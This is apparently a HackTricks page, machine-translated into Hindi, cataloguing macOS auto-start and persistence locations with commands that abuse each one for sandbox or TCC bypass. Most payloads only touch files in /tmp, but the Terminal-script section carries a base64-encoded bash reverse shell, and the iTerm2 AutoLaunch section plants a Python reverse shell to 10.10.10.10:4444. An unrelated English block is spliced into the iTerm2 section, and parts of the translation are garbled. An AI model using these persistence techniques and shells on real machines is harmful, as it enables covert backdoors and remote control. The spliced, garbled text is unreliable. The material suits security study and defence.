hacktricks/macos-hardening/macos-auto-start-locations.md

108 KiB

macOS ऑटो स्टार्ट

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यह खंड ब्लॉग श्रृंखला Beyond the good ol' LaunchAgents पर आधारित है, उद्देश्य है अधिक Autostart स्थान (यदि संभव हो) जोड़ना, नवीनतम macOS संस्करण (13.4) के साथ कौन-कौने तकनीक काम कर रही हैं और आवश्यक अनुमतियाँ निर्दिष्ट करना।

सैंडबॉक्स बाइपास

{% hint style="success" %} यहाँ आपको सैंडबॉक्स बाइपास के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको कुछ को फाइल में लिखकर और बहुत सामान्य क्रिया, निर्धारित समय की मात्रा या एक क्रिया के लिए प्रतीक्षा करने की अनुमति देते हैं, जिसे आप साधारणत: सैंडबॉक्स के अंदर से रूट अनुमतियों की आवश्यकता नहीं होती। {% endhint %}

Launchd

  • सैंडबॉक्स बाइपास के लिए उपयोगी:
  • TCC बाइपास: 🔴

स्थान

  • /Library/LaunchAgents
  • ट्रिगर: पुनरारंभ
  • रूट आवश्यक
  • /Library/LaunchDaemons
  • ट्रिगर: पुनरारंभ
  • रूट आवश्यक
  • /System/Library/LaunchAgents
  • ट्रिगर: पुनरारंभ
  • रूट आवश्यक
  • /System/Library/LaunchDaemons
  • ट्रिगर: पुनरारंभ
  • रूट आवश्यक
  • ~/Library/LaunchAgents
  • ट्रिगर: पुनरारंभ
  • ~/Library/LaunchDemons
  • ट्रिगर: पुनरारंभ

विवरण और शोषण

launchd ओएक्स एस कर्नेल द्वारा स्टार्टअप पर पहला प्रक्रिया है और शट डाउन पर अंतिम होता है। इसे हमेशा पीआईडी 1 होना चाहिए। यह प्रक्रिया ASEP प्लिस्ट में निर्दिष्ट विन्यासों को पढ़ेगा और क्रियान्वित करेगा:

  • /Library/LaunchAgents: प्रशासक द्वारा स्थापित प्रति-उपयोगकर्ता एजेंट
  • /Library/LaunchDaemons: प्रशासक द्वारा स्थापित सिस्टम-व्यापी डेमन्स
  • /System/Library/LaunchAgents: Apple द्वारा प्रदान किए गए प्रति-उपयोगकर्ता एजेंट
  • /System/Library/LaunchDaemons: Apple द्वारा प्रदान किए गए सिस्टम-व्यापी डेमन्स।

जब एक उपयोगकर्ता लॉग इन करता है, /Users/$USER/Library/LaunchAgents और /Users/$USER/Library/LaunchDemons में प्लिस्ट में लॉग इन करने वाले उपयोगकर्ताओं की अनुमतियों के साथ शुरू हो जाते हैं।

एजेंट्स और डेमन्स के मुख्य अंतर है कि एजेंट्स उपयोगकर्ता लॉग इन करते समय लोड होते हैं और डेमन्स सिस्टम स्टार्टअप पर लोड होते हैं (क्योंकि एसएसएच जैसी सेवाएं हैं जो किसी भी उपयोगकर्ता को सिस्टम तक पहुंचने से पहले निष्पादित होने की आवश्यकता होती है)। इसके अलावा, एजेंट्स में जीयूआई का उपयोग किया जा सकता है जबकि डेमन्स को पिछले प्लान में चलाने की आवश्यकता होती है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

ऐसे मामले होते हैं जहां एक एजेंट को उपयोगकर्ता लॉगिन से पहले निष्पादित किया जाना चाहिए, इन्हें प्रीलॉगिन एजेंट्स कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक प्रौद्योगिकी प्रदान करने के लिए उपयोगी है। इन्हें /Library/LaunchAgents में भी पाया जा सकता है (एक उदाहरण के लिए यहाँ देखें)।

{% hint style="info" %} नए डेमन या एजेंट कॉन्फ़िग फ़ाइलें अगले बूट के बाद या launchctl load <target.plist> का उपयोग करके लोड की जाएंगीइसे बिना उस एक्सटेंशन के .plist फ़ाइलें भी लोड किया जा सकता है launchctl -F <file> (हालांकि वे plist फ़ाइलें बूट के बाद स्वचालित रूप से लोड नहीं होंगी)।
इसे launchctl unload <target.plist> के साथ अनलोड करना भी संभव है (इसके द्वारा इसे संकेतित प्रक्रिया समाप्त हो जाएगी),

सुनिश्चित करने के लिए कि कोई भी (जैसे ओवरराइड) एजेंट या डेमन को चलने से रोकने वाली कोई चीज़ नहीं है, चलाएं: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist {% endhint %}

वर्तमान उपयोगकर्ता द्वारा लोड किए गए सभी एजेंट और डेमन की सूची:

launchctl list

{% hint style="warning" %} यदि एक plist एक उपयोगकर्ता द्वारा स्वामित्व में है, तो यदि यह एक डेमन सिस्टम वाइड फोल्डर में है, कार्य उपयोगकर्ता के रूप में और न कि रूट के रूप में निष्पादित किया जाएगा। यह कुछ प्रिविलेज उन्नति हमलों को रोक सकता है। {% endhint %}

शैल स्टार्टअप फ़ाइलें

लेख: https://theevilbit.github.io/beyond/beyond_0001/
लेख (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • TCC बायपास:
  • लेकिन आपको एक एप्लिकेशन ढूंढने की आवश्यकता है जिसमें TCC बायपास हो और जो एक शैल लोड करता है जो ये फ़ाइलें लोड करता है

स्थान

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • ट्रिगर: zsh के साथ एक टर्मिनल खोलें
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • ट्रिगर: zsh के साथ एक टर्मिनल खोलें
  • रूट की आवश्यकता है
  • ~/.zlogout
  • ट्रिगर: zsh के साथ एक टर्मिनल से बाहर निकलें
  • /etc/zlogout
  • ट्रिगर: zsh के साथ एक टर्मिनल से बाहर निकलें
  • रूट की आवश्यकता है
  • संभावना है कि और भी हो: man zsh
  • ~/.bashrc
  • ट्रिगर: bash के साथ एक टर्मिनल खोलें
  • /etc/profile (काम नहीं किया)
  • ~/.profile (काम नहीं किया)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • ट्रिगर: xterm के साथ ट्रिगर होने की उम्मीद है, लेकिन यह स्थापित नहीं है और स्थापित करने के बाद भी यह त्रुटि फेंकी जाती है: xterm: DISPLAY is not set

विवरण और शोषण

जब zsh या bash जैसे शैल पर्यावरण प्रारंभ किया जाता है, निश्चित स्टार्टअप फ़ाइलें चलाई जाती हैं। macOS वर्तमान में डिफ़ॉल्ट शैल के रूप में /bin/zsh का उपयोग करता है। यह शैल स्वचालित रूप से पहुंचा जाता है जब टर्मिनल एप्लिकेशन लॉन्च किया जाता है या जब एक डिवाइस SSH के माध्यम से एक्सेस किया जाता है। bash और sh भी macOS में मौजूद हैं, लेकिन उन्हें उपयोग करने के लिए स्पष्ट रूप से आमंत्रित किया जाना चाहिए।

हम man zsh के साथ पढ़ सकते हैं, जिसमें स्टार्टअप फ़ाइलों का एक विस्तृत विवरण है।

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

फिर से खुली एप्लिकेशन

{% hint style="danger" %} सूचित अनुशासन को कॉन्फ़िगर करना और लॉगआउट और लॉगइन या फिर रीबूट करना मेरे लिए काम नहीं किया एप्लिकेशन को निष्पादित करने के लिए। (एप्लिकेशन निष्पादित नहीं हो रहा था, शायद यह चालू होना चाहिए जब ये कार्रवाई की जाती है) {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • TCC छलावा: 🔴

स्थान

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • ट्रिगर: एप्लिकेशन फिर से खोलने को पुनरारंभ करें

विवरण और शोषण

सभी एप्लिकेशन फिर से खोलने के लिए ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist में हैं।

इसलिए, अपनी एप्लिकेशन को सूची में जोड़ने के लिए आपको अपनी एप्लिकेशन को जोड़ना होगा

UUID उस निर्देशिका को सूचीबद्ध करके या ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' के साथ पाया जा सकता है।

फिर से खोले जाने वाले एप्लिकेशनों की जांच करने के लिए आप यह कर सकते हैं:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

इस सूची में एक एप्लिकेशन जोड़ने के लिए आप इस्तेमाल कर सकते हैं:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

टर्मिनल प्राथमिकताएँ

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • TCC छलना:
  • उपयोगकर्ता की एफडीए अनुमतियों को टर्मिनल का उपयोग करने के लिए

स्थान

  • ~/Library/Preferences/com.apple.Terminal.plist
  • ट्रिगर: टर्मिनल खोलें

विवरण और शोषण

~/Library/Preferences में एप्लिकेशन में उपयोगकर्ता की प्राथमिकताएँ संग्रहित हैं। इन प्राथमिकताओं में से कुछ प्राथमिकताएँ अन्य एप्लिकेशन/स्क्रिप्ट को निष्पादित करने के लिए एक विन्यास रख सकती हैं।

उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड निष्पादित कर सकती है:

यह विन्यास फ़ाइल ~/Library/Preferences/com.apple.Terminal.plist में इस प्रकार दर्शाया जाता है:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

इसलिए, अगर सिस्टम में टर्मिनल की प्राथमिकताओं की plist को अधिलेखित किया जा सकता है, तो open कार्यक्षमता का उपयोग किया जा सकता है टर्मिनल खोलने और उस कमांड को निष्पादित करने के लिए

आप इसे क्लाइ से जोड़ सकते हैं:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

टर्मिनल स्क्रिप्ट / अन्य फ़ाइल एक्सटेंशन

  • सैंडबॉक्स को छलना करने के लिए उपयोगी:
  • TCC छलना:
  • उपयोगकर्ता को एफडीए अनुमतियाँ होती हैं जब वह टर्मिनल का उपयोग करता हैं

स्थान

  • कहीं भी
  • ट्रिगर: टर्मिनल खोलें

विवरण और शोषण

यदि आप एक .terminal स्क्रिप्ट बनाते हैं और खोलते हैं, तो टर्मिनल एप्लिकेशन स्वचालित रूप से आमंत्रित होगा ताकि वहाँ दर्शाए गए कमांड को निष्पादित कर सके। यदि टर्मिनल ऐप में कुछ विशेष अधिकार हैं (जैसे TCC), तो आपका कमांड उन विशेष अधिकारों के साथ चलाया जाएगा।

इसे आज़माएं:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

ऑडियो प्लगइन्स

लेख: https://theevilbit.github.io/beyond/beyond_0013/
लेख: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • सैंडबॉक्स को छलना करने के लिए उपयोगी:
  • TCC बायपास: 🟠
  • आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है

स्थान

  • /Library/Audio/Plug-Ins/HAL
  • रूट की आवश्यकता है
  • ट्रिगर: coreaudiod या कंप्यूटर को पुनः आरंभ करें
  • /Library/Audio/Plug-ins/Components
  • रूट की आवश्यकता है
  • ट्रिगर: coreaudiod या कंप्यूटर को पुनः आरंभ करें
  • ~/Library/Audio/Plug-ins/Components
  • ट्रिगर: coreaudiod या कंप्यूटर को पुनः आरंभ करें
  • /System/Library/Components
  • रूट की आवश्यकता है
  • ट्रिगर: coreaudiod या कंप्यूटर को पुनः आरंभ करें

विवरण

पिछले लेखों के अनुसार कुछ ऑडियो प्लगइन्स को कंपाइल करना संभव है और उन्हें लोड करने में सक्षम हो सकता है।

क्विकलुक प्लगइन्स

लेख: https://theevilbit.github.io/beyond/beyond_0028/

  • सैंडबॉक्स को छलना करने के लिए उपयोगी:
  • TCC बायपास: 🟠
  • आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है

स्थान

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

विवरण और शोषण

QuickLook प्लगइन्स को आप जब फ़ाइल का पूर्वावलोकन ट्रिगर करते हैं (फाइंडर में फ़ाइल का चयन करके स्पेस बार दबाएं) और एक फ़ाइल प्रकार का समर्थन करने वाला प्लगइन स्थापित होता है, तो उसे निष्पादित किया जा सकता है।

अपना खुद का QuickLook प्लगइन कंपाइल करना संभव है, उसे पिछले स्थानों में रखना और फिर समर्थित फ़ाइल पर जाने और उसे ट्रिगर करने के लिए स्पेस दबाने के लिए।

लॉगिन/लॉगआउट हुक्स

{% hint style="danger" %} यह मेरे लिए काम नहीं किया, न तो उपयोगकर्ता लॉगिनहुक और न ही रूट लॉगआउट हुक {% endhint %}

लेख: https://theevilbit.github.io/beyond/beyond_0022/

  • सैंडबॉक्स को छलना करने के लिए उपयोगी:
  • TCC बायपास: 🔴

स्थान

  • आपको defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh जैसी कुछ चला सकने की आवश्यकता है
  • Located in ~/Library/Preferences/com.apple.loginwindow.plist

वे पुराने हो गए हैं लेकिन उपयोगकर्ता लॉग इन करते समय कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं।

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

यह सेटिंग /Users/$USER/Library/Preferences/com.apple.loginwindow.plist में स्टोर की जाती है।

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

इसे हटाने के लिए:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

जड़ उपयोगकर्ता एक /private/var/root/Library/Preferences/com.apple.loginwindow.plist में संग्रहीत है।

शर्ताधीन सैंडबॉक्स बाईपास

{% hint style="success" %} यहाँ आपको सैंडबॉक्स बाईपास के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको बस को बाईपास करने की अनुमति देते हैं जिसमें आपको केवल कुछ को एक फ़ाइल में लिखकर और अपेक्षा करना होगा जो अत्यधिक सामान्य शर्तें जैसे कि विशेष प्रोग्राम स्थापित होना, "असामान्य" उपयोगकर्ता क्रियाएँ या परिवेश। {% endhint %}

क्रॉन

लेखन: https://theevilbit.github.io/beyond/beyond_0004/

  • सैंडबॉक्स को बाईपास करने के लिए उपयोगी:
  • हालांकि, आपको crontab बाइनरी को निष्पादित करने की क्षमता होनी चाहिए
  • या फिर रूट होना चाहिए
  • TCC बाईपास: 🔴

स्थान

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • सीधी लेखन पहुंच के लिए रूट की आवश्यकता है। यदि आप crontab <file> को निष्पादित कर सकते हैं तो रूट की आवश्यकता नहीं है
  • ट्रिगर: क्रॉन जॉब पर निर्भर करता है

विवरण और शोषण

crontab -l

आप यूजर्स के सभी cron jobs को /usr/lib/cron/tabs/ और /var/at/tabs/ में देख सकते हैं (रूट की आवश्यकता है)।

मैकओएस में कई फोल्डर्स में स्क्रिप्ट्स को निश्चित अंतराल के साथ चलाया जा सकता है:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

वहाँ आपको नियमित cron जॉब्स, at जॉब्स (जो बहुत कम प्रयोग होते हैं) और periodic जॉब्स (मुख्य रूप से अस्थायी फ़ाइलें साफ करने के लिए प्रयोग होते हैं) मिलेंगे। दैनिक periodic jobs को उदाहरण के लिए इस प्रकार से निष्पादित किया जा सकता है: periodic daily

उपयोगकर्ता cronjob कार्य को प्रोग्रामेटिक रूप से जोड़ने के लिए निम्नलिखित का प्रयोग किया जा सकता है:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • इस्तेमाल करने के लिए उपयोगी:
  • TCC बायपास:
  • iTerm2 को TCC अनुमतियाँ दी गई थी

स्थान

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • ट्रिगर: iTerm खोलें
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • ट्रिगर: iTerm खोलें
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • ट्रिगर: iTerm खोलें

विवरण और शोषण

~/Library/Application Support/iTerm2/Scripts/AutoLaunch में स्टोर किए गए स्क्रिप्ट निष्पादित किए जाएंगे। उदाहरण के लिए:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

Login Items

Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.

Startup Items

Startup Items are legacy items that automatically launch when a user logs in. They are located in /Library/StartupItems/.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

स्क्रिप्ट ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt भी निष्पादित किया जाएगा:

do shell script "touch /tmp/iterm2-autolaunchscpt"

iTerm2 प्राथमिकताएं ~/Library/Preferences/com.googlecode.iterm2.plist में स्थित हैं जो इसका संकेत दे सकती हैं कि कौन सा कमांड निष्पादित किया जाए जब iTerm2 टर्मिनल खोला जाता है।

यह सेटिंग iTerm2 सेटिंग्स में कॉन्फ़िगर की जा सकती है:

और कमांड प्राथमिकताओं में प्रतिबिम्बित होता है:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

आप निम्नलिखित के साथ कमांड सेट कर सकते हैं:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} उच्च संभावना है कि iTerm2 preferences का दुरुपयोग करने के लिए अन्य तरीके होंगे। {% endhint %}

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन xbar को स्थापित किया जाना चाहिए
  • TCC छलांग:
  • यह पहुंचने की अनुमति मांगता है

स्थान

  • ~/Library/Application\ Support/xbar/plugins/
  • ट्रिगर: जब xbar को क्रियान्वित किया जाता है

विवरण

यदि लोकप्रिय कार्यक्रम xbar स्थापित है, तो संभावना है कि एक शैल स्क्रिप्ट लिखा जा सकता है ~/Library/Application\ Support/xbar/plugins/ जो xbar को शुरू होने पर क्रियान्वित किया जाएगा:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

लेखन: https://theevilbit.github.io/beyond/beyond_0008/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन Hammerspoon को स्थापित किया जाना चाहिए
  • TCC छलांग:
  • यह पहुंचने की अनुमतियाँ मांगता है

स्थान

  • ~/.hammerspoon/init.lua
  • ट्रिगर: एक बार Hammerspoon को क्रियान्वित किया जाता है

विवरण

Hammerspoon macOS के लिए एक स्वचालन प्लेटफ़ॉर्म के रूप में काम करता है, जिसमें इसके कार्यों के लिए LUA स्क्रिप्टिंग भाषा का उपयोग किया जाता है। विशेष रूप से, यह पूर्ण AppleScript कोड के एकीकरण का समर्थन करता है और शैल स्क्रिप्टों का क्रियान्वयन करता है, जिससे इसकी स्क्रिप्टिंग क्षमताएँ काफी बढ़ जाती हैं।

ऐप एक एकल फ़ाइल, ~/.hammerspoon/init.lua, की खोज करता है, और जब शुरू किया जाता है, तो स्क्रिप्ट क्रियान्वित होगा।

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • बैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन BetterTouchTool को स्थापित होना चाहिए
  • TCC छलावा:
  • यह Automation-Shortcuts और Accessibility अनुमतियाँ मांगता है

स्थान

  • ~/Library/Application Support/BetterTouchTool/*

यह उपकरण ऐप्लिकेशन या स्क्रिप्ट को संकेतित करने की अनुमति देता है जब कुछ शॉर्टकट्स दबाए जाते हैं। एक हमलावर अपने खुद के शॉर्टकट और क्रिया को डेटाबेस में निष्पादित करने के लिए कॉन्फ़िगर कर सकता है ताकि यह विचारशील कोड निष्पादित करे (एक शॉर्टकट सिर्फ कुंजी दबाने के लिए हो सकता है)।

Alfred

  • बैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन Alfred को स्थापित होना चाहिए
  • TCC छलावा:
  • यह Automation, Accessibility और अक्सर पूर्ण-डिस्क एक्सेस अनुमतियाँ मांगता है

स्थान

  • ???

यह वहाँ शर्तों को पूरा करने पर कोड निष्पादित करने के लिए वर्कफ़्लो बनाने की अनुमति देता है। संभावना है कि एक हमलावर एक वर्कफ़्लो फ़ाइल बना सकता है और Alfred को इसे लोड करने के लिए बना सकता है (वर्कफ़्लो का उपयोग करने के लिए प्रीमियम संस्करण का उपयोग करना आवश्यक है)।

SSHRC

लेख: https://theevilbit.github.io/beyond/beyond_0006/

  • बैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन ssh को सक्षम और उपयोग किया जाना चाहिए
  • TCC छलावा:
  • SSH को FDA एक्सेस होने की आवश्यकता है

स्थान

  • ~/.ssh/rc
  • ट्रिगर: SSH के माध्यम से लॉगिन
  • /etc/ssh/sshrc
  • रूट की आवश्यकता है
  • ट्रिगर: SSH के माध्यम से लॉगिन

{% hint style="danger" %} SSH को चालू करने के लिए पूर्ण डिस्क एक्सेस की आवश्यकता है:

sudo systemsetup -setremotelogin on

{% endhint %}

विवरण और शोषण

डिफ़ॉल्ट रूप से, जब तक /etc/ssh/sshd_config में PermitUserRC no न हो, जब एक उपयोगकर्ता SSH के माध्यम से लॉगिन करता है तो स्क्रिप्ट /etc/ssh/sshrc और ~/.ssh/rc क्रियान्वित हो जाएंगे।

लॉगिन आइटम

लेख: https://theevilbit.github.io/beyond/beyond_0003/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन आपको osascript को तार देना होगा
  • TCC छलावा: 🔴

स्थान

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • ट्रिगर: लॉगिन
  • शोषण पेलोड संग्रहित करने के लिए osascript को बुलाया गया है
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • ट्रिगर: लॉगिन
  • रूट की आवश्यकता है

विवरण

सिस्टम प्राथमिकताएँ -> उपयोगकर्ता और समूह -> लॉगिन आइटम में आप उपयोगकर्ता लॉग इन करते समय क्रियान्वित करने के लिए आइटम पा सकते हैं।
इन्हें सूचीबद्ध करना, कमांड लाइन से जोड़ना और हटाना संभव है:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

ये आइटम फ़ाइल में स्टोर होते हैं ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

लॉगिन आइटम को भी इस्तेमाल करके इंडिकेट किया जा सकता है API SMLoginItemSetEnabled जो कॉन्फ़िगरेशन को स्टोर करेगा /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP के रूप में लॉगिन आइटम

(लॉगिन आइटम के बारे में पिछले खंड की जाँच करें, यह एक विस्तार है)

अगर आप एक ZIP फ़ाइल को एक लॉगिन आइटम के रूप में स्टोर करते हैं तो Archive Utility इसे खोलेगा और अगर ज़िप उदाहरण के लिए ~/Library में स्टोर किया गया था और फ़ोल्डर LaunchAgents/file.plist शामिल था जिसमें एक बैकडोर था, तो वह फ़ोल्डर बनाया जाएगा (यह डिफ़ॉल्ट नहीं है) और प्लिस्ट जोड़ दी जाएगी ताकि अगली बार जब उपयोगकर्ता फिर से लॉग इन करें, प्लिस्ट में इंडिकेट किया गया बैकडोर निष्पादित होगा

एक और विकल्प हो सकता है कि फ़ाइलें बनाई जाएं .bash_profile और .zshenv उपयोगकर्ता HOME के अंदर ताकि अगर फ़ोल्डर LaunchAgents पहले से मौजूद है तो यह तकनीक फिर भी काम करेगी।

At

लेख: https://theevilbit.github.io/beyond/beyond_0014/

  • सैंडबॉक्स को बायपास करने के लिए उपयोगी:
  • लेकिन आपको at को एक्सीक्यूट करना होगा और यह एनेबल होना चाहिए
  • TCC बायपास: 🔴

स्थान

  • आपको at को एक्सीक्यूट करना होगा और यह एनेबल होना चाहिए

विवरण

at tasks को निश्चित समय पर निष्पादित करने के लिए डिज़ाइन किया गया है। क्रॉन जॉब्स की तरह, at tasks को स्वचालित रूप से पोस्ट-निष्पादन हटा दिया जाता है। यह महत्वपूर्ण है कि ये tasks सिस्टम रीबूट के बाद भी स्थायी होते हैं, जिन्हें कुछ शर्तों के तहत सुरक्षा संबंधित चिंताओं के रूप में चिह्नित किया जाता है।

डिफ़ॉल्ट रूप से वे डिसेबल होते हैं लेकिन रूट उपयोगकर्ता उन्हें एनेबल कर सकते हैं:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

यह 1 घंटे में एक फ़ाइल बनाएगा:

echo "echo 11 > /tmp/at.txt" | at now+1

कमांड atq का उपयोग करके नौकरी कतार की जाँच करें:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

ऊपर हम दो नौकरियां निर्धारित की गई हैं। हम at -c JOBNUMBER का उपयोग करके नौकरी का विवरण प्रिंट कर सकते हैं।

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
